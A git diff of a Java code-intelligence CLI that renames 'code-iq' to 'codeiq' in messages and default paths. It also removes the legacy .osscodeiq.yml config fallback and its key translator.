index 5d57ed9f..8b9d2afb 100644
--- a/src/main/java/io/github/randomcodespace/iq/cli/CypherCommand.java
+++ b/src/main/java/io/github/randomcodespace/iq/cli/CypherCommand.java
@@ -36,7 +36,7 @@ public Integer call() {
         CliOutput.info("    -H 'Content-Type: application/json' \\");
         CliOutput.info("    -d '{\"query\": \"" + query + "\", \"limit\": " + limit + "}'");
         CliOutput.info("");
-        CliOutput.info("Or start the server with: code-iq serve");
+        CliOutput.info("Or start the server with: codeiq serve");
         return 0;
     }
 }
diff --git a/src/main/java/io/github/randomcodespace/iq/cli/EnrichCommand.java b/src/main/java/io/github/randomcodespace/iq/cli/EnrichCommand.java
index f3700340..f768569f 100644
--- a/src/main/java/io/github/randomcodespace/iq/cli/EnrichCommand.java
+++ b/src/main/java/io/github/randomcodespace/iq/cli/EnrichCommand.java
@@ -105,7 +105,7 @@ public Integer call() {
         Path cacheParent = cachePath.getParent();
         if (cacheParent == null || !Files.exists(cacheParent)) {
             CliOutput.error("No index found at " + cacheParent);
-            CliOutput.info("  Run 'code-iq index " + root + "' first.");
+            CliOutput.info("  Run 'codeiq index " + root + "' first.");
             return 1;
         }
 
@@ -131,7 +131,7 @@ private int enrichFromCache(AnalysisCache cache, Path root, NumberFormat nf, Ins
         List<CodeEdge> allEdges = cache.loadAllEdges();
 
         if (allNodes.isEmpty()) {
-            CliOutput.error("No indexed data found in H2. Run 'code-iq index' first.");
+            CliOutput.error("No indexed data found in H2. Run 'codeiq index' first.");
             return 1;
         }
 
@@ -418,7 +418,7 @@ private int enrichFromCache(AnalysisCache cache, Path root, NumberFormat nf, Ins
             CliOutput.info("  Graph:   " + graphPath);
             CliOutput.info("  Time:    " + timeStr);
             System.out.println();
-            CliOutput.info("  Next step: code-iq serve " + path);
+            CliOutput.info("  Next step: codeiq serve " + path);
 
             return 0;
 
diff --git a/src/main/java/io/github/randomcodespace/iq/cli/FindCommand.java b/src/main/java/io/github/randomcodespace/iq/cli/FindCommand.java
index 087bb2a8..c90b1a08 100644
--- a/src/main/java/io/github/randomcodespace/iq/cli/FindCommand.java
+++ b/src/main/java/io/github/randomcodespace/iq/cli/FindCommand.java
@@ -55,7 +55,7 @@ public FindCommand(Optional<GraphStore> graphStore) {
     @Override
     public Integer call() {
         if (graphStore == null) {
-            CliOutput.error("Find queries require the serve profile (Neo4j). Use 'code-iq serve' to start the server, or 'code-iq stats' for cache-based queries.");
+            CliOutput.error("Find queries require the serve profile (Neo4j). Use 'codeiq serve' to start the server, or 'codeiq stats' for cache-based queries.");
             return 1;
         }
         NodeKind kind = resolveKind(what);
@@ -75,7 +75,7 @@ public Integer call() {
         }
 
         if (nodes.isEmpty()) {
-            CliOutput.warn("No " + what + " found. Run 'code-iq analyze' first.");
+            CliOutput.warn("No " + what + " found. Run 'codeiq analyze' first.");
             return 1;
         }
 
diff --git a/src/main/java/io/github/randomcodespace/iq/cli/FlowCommand.java b/src/main/java/io/github/randomcodespace/iq/cli/FlowCommand.java
index 28fa6445..c5b37d3d 100644
--- a/src/main/java/io/github/randomcodespace/iq/cli/FlowCommand.java
+++ b/src/main/java/io/github/randomcodespace/iq/cli/FlowCommand.java
@@ -68,7 +68,7 @@ public FlowCommand(Optional<FlowEngine> flowEngine, CodeIqConfig config) {
     public Integer call() {
         FlowEngine engine = resolveEngine();
         if (engine == null) {
-            CliOutput.error("No analysis cache found. Run 'code-iq analyze' or 'code-iq index' first.");
+            CliOutput.error("No analysis cache found. Run 'codeiq analyze' or 'codeiq index' first.");
             return 1;
         }
 
diff --git a/src/main/java/io/github/randomcodespace/iq/cli/GraphCommand.java b/src/main/java/io/github/randomcodespace/iq/cli/GraphCommand.java
index 14038a71..13827e8c 100644
--- a/src/main/java/io/github/randomcodespace/iq/cli/GraphCommand.java
+++ b/src/main/java/io/github/randomcodespace/iq/cli/GraphCommand.java
@@ -70,7 +70,7 @@ public GraphCommand(Optional<GraphStore> graphStore) {
     @Override
     public Integer call() {
         if (graphStore == null) {
-            CliOutput.error("Graph export requires the serve profile (Neo4j). Use 'code-iq serve' to start the server, or 'code-iq stats' for cache-based queries.");
+            CliOutput.error("Graph export requires the serve profile (Neo4j). Use 'codeiq serve' to start the server, or 'codeiq stats' for cache-based queries.");
             return 1;
         }
         List<CodeNode> nodes;
@@ -81,7 +81,7 @@ public Integer call() {
         }
 
         if (nodes.isEmpty()) {
-            CliOutput.warn("No graph data found. Run 'code-iq analyze' first.");
+            CliOutput.warn("No graph data found. Run 'codeiq analyze' first.");
             return 1;
         }
 
diff --git a/src/main/java/io/github/randomcodespace/iq/cli/IndexCommand.java b/src/main/java/io/github/randomcodespace/iq/cli/IndexCommand.java
index 4be97c39..5fe7c1de 100644
--- a/src/main/java/io/github/randomcodespace/iq/cli/IndexCommand.java
+++ b/src/main/java/io/github/randomcodespace/iq/cli/IndexCommand.java
@@ -133,10 +133,10 @@ public Integer call() {
         });
 
         CliOutput.printResultSummary(result, nf);
-        CliOutput.info("  Store:   H2 (.code-iq/cache/analysis-cache)");
+        CliOutput.info("  Store:   H2 (.codeiq/cache/analysis-cache)");
 
         System.out.println();
-        CliOutput.info("  Next step: code-iq enrich " + root);
+        CliOutput.info("  Next step: codeiq enrich " + root);
 
         return 0;
     }
diff --git a/src/main/java/io/github/randomcodespace/iq/cli/PluginsCommand.java b/src/main/java/io/github/randomcodespace/iq/cli/PluginsCommand.java
index b47a81ed..4cc2d976 100644
--- a/src/main/java/io/github/randomcodespace/iq/cli/PluginsCommand.java
+++ b/src/main/java/io/github/randomcodespace/iq/cli/PluginsCommand.java
@@ -151,7 +151,7 @@ public Integer call() {
             List<Detector> matches = registry.findByQuery(query);
             if (matches.isEmpty()) {
                 CliOutput.error("No detectors found for: " + query);
-                CliOutput.info("Use 'code-iq plugins list' to see available categories.");
+                CliOutput.info("Use 'codeiq plugins list' to see available categories.");
                 return 1;
             }
 
@@ -313,7 +313,7 @@ private static void addExt(Map<String, List<String>> map, String lang, String...
 
     @Component
     @Command(name = "suggest", mixinStandardHelpOptions = true,
-            description = "Suggest an optimized .osscodeiq.yml for a project")
+            description = "Suggest an optimized codeiq.yml for a project")
     static class SuggestSubcommand implements Callable<Integer> {
 
         @Parameters(index = "0", defaultValue = ".",
@@ -341,7 +341,7 @@ public Integer call() {
                     private static final Set<String> SKIP_DIRS = Set.of(
                             "node_modules", ".git", "build", "target", "dist",
                             "__pycache__", "venv", ".venv", ".gradle",
-                            ".idea", ".vscode", ".code-iq", ".code-intelligence");
+                            ".idea", ".vscode", ".codeiq");
 
                     @Override
                     public FileVisitResult preVisitDirectory(Path dir, BasicFileAttributes attrs) {
diff --git a/src/main/java/io/github/randomcodespace/iq/cli/QueryCommand.java b/src/main/java/io/github/randomcodespace/iq/cli/QueryCommand.java
index ef6851aa..614d5622 100644
--- a/src/main/java/io/github/randomcodespace/iq/cli/QueryCommand.java
+++ b/src/main/java/io/github/randomcodespace/iq/cli/QueryCommand.java
@@ -68,7 +68,7 @@ public QueryCommand(Optional<QueryService> queryService) {
     @Override
     public Integer call() {
         if (queryService == null) {
-            CliOutput.error("Graph queries require the serve profile (Neo4j). Use 'code-iq serve' to start the server, or 'code-iq stats' for cache-based queries.");
+            CliOutput.error("Graph queries require the serve profile (Neo4j). Use 'codeiq serve' to start the server, or 'codeiq stats' for cache-based queries.");
             return 1;
         }
         if (consumersOf != null) {
diff --git a/src/main/java/io/github/randomcodespace/iq/cli/ServeCommand.java b/src/main/java/io/github/randomcodespace/iq/cli/ServeCommand.java
index f0ce1751..bcc09d5b 100644
--- a/src/main/java/io/github/randomcodespace/iq/cli/ServeCommand.java
+++ b/src/main/java/io/github/randomcodespace/iq/cli/ServeCommand.java
@@ -93,11 +93,11 @@ public Integer call() {
                     CliOutput.success("Neo4j graph: " + nf.format(nodeCount) + " nodes, "
                             + nf.format(edgeCount) + " edges");
                 } else {
-                    CliOutput.warn("Neo4j graph is empty. Run 'code-iq enrich " + root + "' to populate.");
+                    CliOutput.warn("Neo4j graph is empty. Run 'codeiq enrich " + root + "' to populate.");
                 }
             } catch (Exception e) {
                 log.debug("Could not check Neo4j state", e);
-                CliOutput.warn("Could not read Neo4j graph. Run 'code-iq enrich' first.");
+                CliOutput.warn("Could not read Neo4j graph. Run 'codeiq enrich' first.");
             }
         }
 
diff --git a/src/main/java/io/github/randomcodespace/iq/cli/StatsCommand.java b/src/main/java/io/github/randomcodespace/iq/cli/StatsCommand.java
index 8ab96b22..f60c55c3 100644
--- a/src/main/java/io/github/randomcodespace/iq/cli/StatsCommand.java
+++ b/src/main/java/io/github/randomcodespace/iq/cli/StatsCommand.java
@@ -97,7 +97,7 @@ public Integer call() {
 
         if (!Files.exists(h2File)) {
             CliOutput.warn("No analysis cache found at " + cachePath);
-            CliOutput.info("Run 'code-iq analyze' first to scan the codebase.");
+            CliOutput.info("Run 'codeiq analyze' first to scan the codebase.");
             return 1;
         }
 
@@ -109,7 +109,7 @@ public Integer call() {
         }
 
         if (nodes.isEmpty()) {
-            CliOutput.warn("Analysis cache is empty. Run 'code-iq analyze' first.");
+            CliOutput.warn("Analysis cache is empty. Run 'codeiq analyze' first.");
             return 1;
         }
 
diff --git a/src/main/java/io/github/randomcodespace/iq/cli/TopologyCommand.java b/src/main/java/io/github/randomcodespace/iq/cli/TopologyCommand.java
index a0259b7d..76061f3d 100644
--- a/src/main/java/io/github/randomcodespace/iq/cli/TopologyCommand.java
+++ b/src/main/java/io/github/randomcodespace/iq/cli/TopologyCommand.java
@@ -62,7 +62,7 @@ public Integer call() {
 
         if (!Files.exists(h2File)) {
             CliOutput.error("No analysis cache found at " + h2File.getParent());
-            CliOutput.info("  Run 'code-iq index " + root + "' and 'code-iq enrich " + root + "' first.");
+            CliOutput.info("  Run 'codeiq index " + root + "' and 'codeiq enrich " + root + "' first.");
             return 1;
         }
 
diff --git a/src/main/java/io/github/randomcodespace/iq/config/CodeIqConfig.java b/src/main/java/io/github/randomcodespace/iq/config/CodeIqConfig.java
index 4b05e240..8582930a 100644
--- a/src/main/java/io/github/randomcodespace/iq/config/CodeIqConfig.java
+++ b/src/main/java/io/github/randomcodespace/iq/config/CodeIqConfig.java
@@ -1,7 +1,7 @@
 package io.github.randomcodespace.iq.config;
 
 /**
- * Legacy flat configuration bean for Code IQ.
+ * Legacy flat configuration bean for codeiq.
  *
  * <p>Historically bound to Spring Boot {@code @ConfigurationProperties("codeiq")}.
  * Task 11 moved bean production to {@link UnifiedConfigBeans#codeIqConfig}, which
@@ -27,7 +27,7 @@ public class CodeIqConfig {
     private String rootPath = ".";
 
     /** Cache directory relative to repo root. */
-    private String cacheDir = ".code-iq/cache";
+    private String cacheDir = ".codeiq/cache";
 
     /** Maximum traversal depth for graph queries. */
     private int maxDepth = 10;
@@ -51,7 +51,7 @@ public class CodeIqConfig {
     private int maxSnippetLines = 50;
 
     public static class Graph {
-        private String path = ".code-iq/graph/graph.db";
+        private String path = ".codeiq/graph/graph.db";
 
         public String getPath() { return path; }
         void setPath(String path) { this.path = path; }
diff --git a/src/main/java/io/github/randomcodespace/iq/config/GraphBootstrapper.java b/src/main/java/io/github/randomcodespace/iq/config/GraphBootstrapper.java
index 283686fc..5a1e893b 100644
--- a/src/main/java/io/github/randomcodespace/iq/config/GraphBootstrapper.java
+++ b/src/main/java/io/github/randomcodespace/iq/config/GraphBootstrapper.java
@@ -116,7 +116,7 @@ public void bootstrapNeo4jFromCache() {
                     nodes.size(), edges.size());
         } catch (Exception e) {
             log.warn("Failed to bootstrap Neo4j from H2 cache -- graph traversal queries " +
-                    "may not work. Run 'code-iq enrich' to populate Neo4j.", e);
+                    "may not work. Run 'codeiq enrich' to populate Neo4j.", e);
         }
     }
 }
diff --git a/src/main/java/io/github/randomcodespace/iq/config/ProjectConfigLoader.java b/src/main/java/io/github/randomcodespace/iq/config/ProjectConfigLoader.java
index 33655f88..6e81c081 100644
--- a/src/main/java/io/github/randomcodespace/iq/config/ProjectConfigLoader.java
+++ b/src/main/java/io/github/randomcodespace/iq/config/ProjectConfigLoader.java
@@ -1,32 +1,14 @@
 package io.github.randomcodespace.iq.config;
 
 import io.github.randomcodespace.iq.config.unified.CodeIqUnifiedConfig;
-import io.github.randomcodespace.iq.config.unified.DetectorsConfig;
-import io.github.randomcodespace.iq.config.unified.IndexingConfig;
-import io.github.randomcodespace.iq.config.unified.McpConfig;
-import io.github.randomcodespace.iq.config.unified.ObservabilityConfig;
-import io.github.randomcodespace.iq.config.unified.ServingConfig;
 import io.github.randomcodespace.iq.config.unified.UnifiedConfigLoader;
-import org.slf4j.Logger;
-import org.slf4j.LoggerFactory;
 import org.springframework.stereotype.Component;
-import org.yaml.snakeyaml.Yaml;
 
-import java.io.IOException;
-import java.nio.charset.StandardCharsets;
 import java.nio.file.Files;
 import java.nio.file.Path;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.Map;
-import java.util.Set;
-import java.util.concurrent.ConcurrentHashMap;
 
 /**
- * Reads the project-scoped {@code codeiq.yml} (preferred) or, if absent, the
- * legacy {@code .osscodeiq.yml} with a one-time-per-path deprecation warning.
- * The legacy fallback branch will be removed one release after the warning
- * first shipped.
+ * Reads the project-scoped {@code codeiq.yml} from the repo root.
  *
  * <p>Surface: the {@link #loadFrom(Path)} instance method returns a
  * {@link LoadResult} with a {@link CodeIqUnifiedConfig} overlay for the
@@ -36,26 +18,7 @@
 @Component
 public class ProjectConfigLoader {
 
-    private static final Logger log = LoggerFactory.getLogger(ProjectConfigLoader.class);
     private static final String NEW_NAME = "codeiq.yml";
-    private static final String OLD_NAME = ".osscodeiq.yml";
-
-    /**
-     * Top-level flat keys recognised by the pre-Phase-B {@code .osscodeiq.yml}
-     * schema. Presence of any of these at the YAML root triggers the
-     * legacy-to-unified translator.
-     */
-    private static final Set<String> LEGACY_FLAT_KEYS = Set.of(
-            "root_path", "service_name", "cache_dir",
-            "max_depth", "max_radius", "max_files", "max_snippet_lines",
-            "batch_size");
-
-    /**
-     * Per-canonical-path dedupe of the deprecation WARN so multi-workspace
-     * callers each see one warning. Keyed by canonical (realPath or
-     * normalized-absolute) string so symlinked/relative aliases collapse.
-     */
-    private static final Set<String> WARNED_PATHS = ConcurrentHashMap.newKeySet();
 
     public ProjectConfigLoader() {
         // default bean constructor
@@ -64,245 +27,20 @@ public ProjectConfigLoader() {
     /**
      * Result of loading the project-scoped config.
      *
-     * @param config                     the loaded overlay in unified-config form, or
-     *                                   {@link CodeIqUnifiedConfig#empty()} if neither file exists
-     * @param deprecationWarningEmitted  {@code true} iff the loader fell back to
-     *                                   {@code .osscodeiq.yml} for this call
+     * @param config the loaded overlay in unified-config form, or
+     *               {@link CodeIqUnifiedConfig#empty()} if the file does not exist
      */
-    public record LoadResult(CodeIqUnifiedConfig config, boolean deprecationWarningEmitted) {}
+    public record LoadResult(CodeIqUnifiedConfig config) {}
 
     /**
-     * Loads the project-scoped config overlay from {@code repoRoot}. Prefers
-     * {@code codeiq.yml}; if absent, falls back to the legacy
-     * {@code .osscodeiq.yml} and emits a per-path SLF4J {@code WARN} pointing
-     * to the new filename. If neither is present, returns an empty overlay.
-     *
-     * <p>The deprecation warning is logged at most once per canonical file path
-     * per JVM. The returned {@link LoadResult#deprecationWarningEmitted()} is
-     * still {@code true} on every fallback call so callers can label provenance
-     * appropriately.
+     * Loads the project-scoped config overlay from {@code repoRoot}. Reads
+     * {@code codeiq.yml} if present; otherwise returns an empty overlay.
      */
     public LoadResult loadFrom(Path repoRoot) {
-        Path newFile = repoRoot.resolve(NEW_NAME);
-        if (Files.exists(newFile)) {
-            return new LoadResult(UnifiedConfigLoader.load(newFile), false);
-        }
-        Path oldFile = repoRoot.resolve(OLD_NAME);
-        if (Files.exists(oldFile)) {
-            LegacyParse parsed = readAndTranslateLegacy(oldFile);
-            String canonical = canonicalize(oldFile);
-            if (WARNED_PATHS.add(canonical)) {
-                log.warn(".osscodeiq.yml at {} is deprecated. Translated {} key(s) into the unified config; "
-                                + "migrate to {} (see README for the new schema).",
-                        oldFile, parsed.translatedKeyCount, NEW_NAME);
-            }
-            return new LoadResult(parsed.config, true);
-        }
-        return new LoadResult(CodeIqUnifiedConfig.empty(), false);
-    }
-
-    private static String canonicalize(Path p) {
-        try {
-            return p.toRealPath().toString();
-        } catch (IOException e) {
-            return p.toAbsolutePath().normalize().toString();
-        }
-    }
-
-    /** Container for the legacy-parse result + a count of flat keys translated (for the WARN message). */
-    private record LegacyParse(CodeIqUnifiedConfig config, int translatedKeyCount) {}
-
-    /**
-     * Reads {@code oldFile}, detects whether it uses the legacy flat schema
-     * (top-level {@code max_depth}, {@code cache_dir}, etc.), and produces a
-     * {@link CodeIqUnifiedConfig} overlay.
-     *
-     * <p><b>Precedence when a file mixes shapes:</b> legacy flat keys take
-     * priority over any nested {@code indexing}/{@code project} sections in
-     * the same file. Rationale: a user who still has flat keys is clearly on
-     * the pre-Phase-B schema; honoring the flat values prevents silent data
-     * loss while the warning tells them to migrate. Nested keys under
-     * {@code serving}/{@code mcp}/{@code observability}/{@code detectors}
-     * (which have no legacy flat equivalent) are still read via the unified
-     * loader path and composed into the overlay.
-     */
-    private static LegacyParse readAndTranslateLegacy(Path oldFile) {
-        Map<String, Object> raw;
-        try {
-            String content = Files.readString(oldFile, StandardCharsets.UTF_8);
-            Yaml yaml = new Yaml(new org.yaml.snakeyaml.constructor.SafeConstructor(
-                    new org.yaml.snakeyaml.LoaderOptions()));
-            raw = yaml.load(content);
-        } catch (IOException e) {
-            log.warn("Failed to read {}: {}", oldFile, e.getMessage());
-            return new LegacyParse(CodeIqUnifiedConfig.empty(), 0);
-        } catch (Exception e) {
-            log.warn("Failed to parse {}: {}", oldFile, e.getMessage());
-            return new LegacyParse(CodeIqUnifiedConfig.empty(), 0);
-        }
-        if (raw == null || raw.isEmpty()) {
-            return new LegacyParse(CodeIqUnifiedConfig.empty(), 0);
-        }
-
-        boolean hasLegacy = false;
-        for (String k : LEGACY_FLAT_KEYS) {
-            if (raw.containsKey(k)) { hasLegacy = true; break; }
-        }
-
-        if (!hasLegacy) {
-            // Pure new-shape content accidentally saved as .osscodeiq.yml.
-            // Delegate to the canonical loader so nested sections work as-is.
-            return new LegacyParse(UnifiedConfigLoader.load(oldFile), 0);
-        }
-
-        return new LegacyParse(translateLegacyToUnified(raw), countLegacyKeys(raw));
-    }
-
-    private static int countLegacyKeys(Map<String, Object> raw) {
-        int n = 0;
-        for (String k : LEGACY_FLAT_KEYS) {
-            if (raw.containsKey(k)) n++;
-        }
-        return n;
-    }
-
-    /**
-     * Translator: maps pre-Phase-B flat keys at the YAML root to a
-     * {@link CodeIqUnifiedConfig} overlay. Pulls {@code languages},
-     * {@code detectors.*}, {@code exclude}, {@code parsers}, and {@code pipeline.*}
-     * from their nested positions and adds the flat-key mapping documented in
-     * the Phase B migration table:
-     *
-     * <pre>
-     *   root_path           -> project.root
-     *   service_name        -> project.serviceName
-     *   cache_dir           -> indexing.cacheDir
-     *   max_depth           -> indexing.maxDepth
-     *   max_radius          -> indexing.maxRadius
-     *   max_files           -> indexing.maxFiles
-     *   max_snippet_lines   -> indexing.maxSnippetLines
-     *   batch_size          -> indexing.batchSize
-     *   detector_categories -> detectors.categories (flat top-level alias)
-     *   detector_include    -> detectors.include    (flat top-level alias)
-     * </pre>
-     *
-     * <p>{@code parsers} in the legacy file is a map ({@code {lang: parserName}});
-     * the unified tree carries {@code indexing.parsers} as {@code List<String>},
-     * so the map's values are flattened into the list (Analyzer never consumed
-     * the per-language map at runtime — a list is sufficient).
-     *
-     * <p>Only section leaves present in {@code raw} are set; absent fields stay
-     * {@code null} so {@link io.github.randomcodespace.iq.config.unified.ConfigMerger}
-     * correctly falls through to lower layers.
-     */
-    static CodeIqUnifiedConfig translateLegacyToUnified(Map<String, Object> raw) {
-        // --- project layer ---
-        String root = raw.containsKey("root_path") ? String.valueOf(raw.get("root_path")) : null;
-        String serviceName = raw.containsKey("service_name") ? String.valueOf(raw.get("service_name")) : null;
-        io.github.randomcodespace.iq.config.unified.ProjectConfig projectU =
-                new io.github.randomcodespace.iq.config.unified.ProjectConfig(null, root, serviceName, List.of());
-
-        // --- indexing layer ---
-        List<String> languages = toStringList(raw.get("languages"));
-        List<String> exclude = toStringList(raw.get("exclude"));
-
-        String cacheDir = raw.containsKey("cache_dir") ? String.valueOf(raw.get("cache_dir")) : null;
-        Integer maxDepth = raw.containsKey("max_depth") ? toInteger(raw.get("max_depth")) : null;
-        Integer maxRadius = raw.containsKey("max_radius") ? toInteger(raw.get("max_radius")) : null;
-        Integer maxFiles = raw.containsKey("max_files") ? toInteger(raw.get("max_files")) : null;
-        Integer maxSnippetLines = raw.containsKey("max_snippet_lines")
-                ? toInteger(raw.get("max_snippet_lines")) : null;
-
-        // pipeline: nested pipeline.batch-size / pipeline.parallelism wins over any flat batch_size.
-        Integer parallelism = null;
-        Integer nestedBatchSize = null;
-        if (raw.get("pipeline") instanceof Map<?, ?> pipeline) {
-            parallelism = toInteger(pipeline.get("parallelism"));
-            nestedBatchSize = toInteger(pipeline.get("batch-size"));
-        }
-        Integer batchSize = nestedBatchSize;
-        if (batchSize == null && raw.containsKey("batch_size")) {
-            batchSize = toInteger(raw.get("batch_size"));
-        }
-
-        // parsers: legacy map {lang: parserName} flattened to List<String> of parser names.
-        List<String> parsers = List.of();
-        if (raw.get("parsers") instanceof Map<?, ?> parsersMap) {
-            List<String> names = new ArrayList<>(parsersMap.size());
-            for (Object v : parsersMap.values()) {
-                if (v != null) names.add(String.valueOf(v));
-            }
-            parsers = List.copyOf(names);
-        }
-
-        IndexingConfig indexingU = new IndexingConfig(
-                languages == null ? List.of() : languages,
-                List.of(),
-                exclude == null ? List.of() : exclude,
-                null,           // incremental — no legacy flat equivalent
-                cacheDir,
-                parallelism,
-                batchSize,
-                maxDepth,
-                maxRadius,
-                maxFiles,
-                maxSnippetLines,
-                parsers);
-
-        // --- detectors layer ---
-        // Nested `detectors: { categories, include }` shape plus flat top-level
-        // aliases `detector_categories` / `detector_include` so legacy
-        // `.osscodeiq.yml` files that put the filters at the root continue to work.
-        List<String> detectorCategories = null;
-        List<String> detectorInclude = null;
-        if (raw.get("detectors") instanceof Map<?, ?> detectors) {
-            detectorCategories = toStringList(detectors.get("categories"));
-            detectorInclude = toStringList(detectors.get("include"));
-        }
-        if (detectorCategories == null && raw.get("detector_categories") instanceof List<?> lc) {
-            detectorCategories = lc.stream().map(String::valueOf).toList();
-        }
-        if (detectorInclude == null && raw.get("detector_include") instanceof List<?> li) {
-            detectorInclude = li.stream().map(String::valueOf).toList();
-        }
-        DetectorsConfig detectorsU = new DetectorsConfig(
-                List.of(),
-                detectorCategories == null ? List.of() : detectorCategories,
-                detectorInclude == null ? List.of() : detectorInclude,
-                Map.of());
-
-        return new CodeIqUnifiedConfig(
-                projectU,
-                indexingU,
-                ServingConfig.empty(),
-                McpConfig.empty(),
-                ObservabilityConfig.empty(),
-                detectorsU);
-    }
-
-    private static Integer toInteger(Object value) {
-        if (value == null) return null;
-        if (value instanceof Number n) {
-            return n.intValue();
-        }
-        try {
-            return Integer.parseInt(String.valueOf(value));
-        } catch (NumberFormatException e) {
-            return null;
-        }
-    }
-
-    private static List<String> toStringList(Object value) {
-        if (value == null) return null;
-        if (value instanceof List<?> list) {
-            List<String> result = new ArrayList<>();
-            for (Object item : list) {
-                if (item != null) {
-                    result.add(String.valueOf(item));
-                }
-            }
-            return result.isEmpty() ? null : result;
+        Path file = repoRoot.resolve(NEW_NAME);
+        if (Files.exists(file)) {
+            return new LoadResult(UnifiedConfigLoader.load(file));
         }
-        return null;
+        return new LoadResult(CodeIqUnifiedConfig.empty());
     }
 }
diff --git a/src/main/java/io/github/randomcodespace/iq/config/UnifiedConfigBeans.java b/src/main/java/io/github/randomcodespace/iq/config/UnifiedConfigBeans.java
index 8accac51..ffdb4c41 100644
--- a/src/main/java/io/github/randomcodespace/iq/config/UnifiedConfigBeans.java
+++ b/src/main/java/io/github/randomcodespace/iq/config/UnifiedConfigBeans.java
@@ -54,14 +54,9 @@
 public class UnifiedConfigBeans {
 
     /**
-     * Resolves {@code codeiq.yml} (or, via {@link ProjectConfigLoader}, the
-     * deprecated {@code .osscodeiq.yml}) + env vars once at startup; the
-     * resulting {@link CodeIqUnifiedConfig} is the single source of truth
-     * for configuration.
-     *
-     * <p>The project layer is sourced through {@link ProjectConfigLoader} so
-     * users with a pre-Phase-B {@code .osscodeiq.yml} keep working for one
-     * release with a one-time {@code WARN} pointing them at {@code codeiq.yml}.
+     * Resolves {@code codeiq.yml} + env vars once at startup; the resulting
+     * {@link CodeIqUnifiedConfig} is the single source of truth for
+     * configuration.
      */
     @Bean
     public CodeIqUnifiedConfig codeIqUnifiedConfig(ProjectConfigLoader loader) {
@@ -73,9 +68,7 @@ public CodeIqUnifiedConfig codeIqUnifiedConfig(ProjectConfigLoader loader) {
                 new ConfigMerger.Input(ConfigLayer.BUILT_IN, "(defaults)", ConfigDefaults.builtIn()),
                 new ConfigMerger.Input(ConfigLayer.USER_GLOBAL, userGlobal.toString(),
                         UnifiedConfigLoader.load(userGlobal)),
-                new ConfigMerger.Input(ConfigLayer.PROJECT,
-                        pr.deprecationWarningEmitted() ? "./.osscodeiq.yml (deprecated)" : "./codeiq.yml",
-                        pr.config()),
+                new ConfigMerger.Input(ConfigLayer.PROJECT, "./codeiq.yml", pr.config()),
                 new ConfigMerger.Input(ConfigLayer.ENV, "(env)", EnvVarOverlay.from(System.getenv()))
         ));
         return merged.effective();
diff --git a/src/main/java/io/github/randomcodespace/iq/config/unified/CodeIqUnifiedConfig.java b/src/main/java/io/github/randomcodespace/iq/config/unified/CodeIqUnifiedConfig.java
index 4691b65a..4bd0f3ed 100644
--- a/src/main/java/io/github/randomcodespace/iq/config/unified/CodeIqUnifiedConfig.java
+++ b/src/main/java/io/github/randomcodespace/iq/config/unified/CodeIqUnifiedConfig.java
@@ -1,7 +1,7 @@
 package io.github.randomcodespace.iq.config.unified;
 
 /**
- * Root of the unified configuration tree for code-iq. All sections are
+ * Root of the unified configuration tree for codeiq. All sections are
  * non-null; absent sections in a YAML source become their in-code defaults
  * (see ConfigDefaults). Records are immutable — apply overlays by building
  * a new instance via ConfigMerger.
diff --git a/src/main/java/io/github/randomcodespace/iq/config/unified/ConfigDefaults.java b/src/main/java/io/github/randomcodespace/iq/config/unified/ConfigDefaults.java
index 01744b75..3efd4f70 100644
--- a/src/main/java/io/github/randomcodespace/iq/config/unified/ConfigDefaults.java
+++ b/src/main/java/io/github/randomcodespace/iq/config/unified/ConfigDefaults.java
@@ -17,7 +17,7 @@ public static CodeIqUnifiedConfig builtIn() {
                 new IndexingConfig(
                         List.of(), List.of(), List.of(),
                         true,
-                        ".code-iq/cache",
+                        ".codeiq/cache",
                         null, // parallelism — null = auto-detect (Runtime.availableProcessors())
                         500,
                         10,   // maxDepth — matches application.yml codeiq.max-depth
@@ -31,7 +31,7 @@ public static CodeIqUnifiedConfig builtIn() {
                         "0.0.0.0",
                         false,
                         new Neo4jConfig(
-                                ".code-iq/graph/graph.db",
+                                ".codeiq/graph/graph.db",
                                 256, 256, 1024
                         )
                 ),
diff --git a/src/main/java/io/github/randomcodespace/iq/config/unified/DetectorsConfig.java b/src/main/java/io/github/randomcodespace/iq/config/unified/DetectorsConfig.java
index 4cdba551..5f21530c 100644
--- a/src/main/java/io/github/randomcodespace/iq/config/unified/DetectorsConfig.java
+++ b/src/main/java/io/github/randomcodespace/iq/config/unified/DetectorsConfig.java
@@ -8,9 +8,8 @@
  * <ul>
  *   <li>{@code profiles} -- named detector bundles to activate.</li>
  *   <li>{@code categories} -- allow-list of detector categories (e.g. {@code ["endpoints",
- *       "entities"]}); empty means "all categories". Introduced in Phase B cleanup to
- *       give the Analyzer pipeline a unified home for filters that previously lived
- *       only on the legacy {@code .osscodeiq.yml} {@code ProjectConfig} POJO.</li>
+ *       "entities"]}); empty means "all categories". Gives the Analyzer pipeline a
+ *       unified home for filters.</li>
  *   <li>{@code include} -- allow-list of detector names (by {@code Detector#getName()});
  *       empty means "no name-level filter".</li>
  *   <li>{@code overrides} -- per-detector feature flags keyed by {@code SimpleClassName}.</li>
diff --git a/src/main/java/io/github/randomcodespace/iq/intelligence/ArtifactManifest.java b/src/main/java/io/github/randomcodespace/iq/intelligence/ArtifactManifest.java
index 77f00f89..2fbd1c4d 100644
--- a/src/main/java/io/github/randomcodespace/iq/intelligence/ArtifactManifest.java
+++ b/src/main/java/io/github/randomcodespace/iq/intelligence/ArtifactManifest.java
@@ -9,7 +9,7 @@
  * @param bundleFormat       Always {@code 2} for this record.
  * @param tag                User-supplied bundle tag (may be null).
  * @param project            Project name.
- * @param extractorVersion   Version of the code-iq extractor that built this bundle.
+ * @param extractorVersion   Version of the codeiq extractor that built this bundle.
  * @param schemaVersion      Graph schema version at bundle time.
  * @param createdAt          ISO-8601 timestamp.
  * @param repositoryIdentity Git/VCS identity of the analysed repo.
diff --git a/src/main/java/io/github/randomcodespace/iq/intelligence/Provenance.java b/src/main/java/io/github/randomcodespace/iq/intelligence/Provenance.java
index a4731bcb..cd855bcd 100644
--- a/src/main/java/io/github/randomcodespace/iq/intelligence/Provenance.java
+++ b/src/main/java/io/github/randomcodespace/iq/intelligence/Provenance.java
@@ -6,7 +6,7 @@
  *
  * @param repositoryUrl    Remote URL of the repository (may be null for local-only analysis).
  * @param commitSha        Full SHA-1 of the HEAD commit at analysis time (may be null).
- * @param extractorVersion Version of the code-iq extractor that produced this node.
+ * @param extractorVersion Version of the codeiq extractor that produced this node.
  * @param schemaVersion    Graph schema version (integer, incremented on breaking changes).
  * @param confidence       Capability level for the language/feature that produced this node.
  */
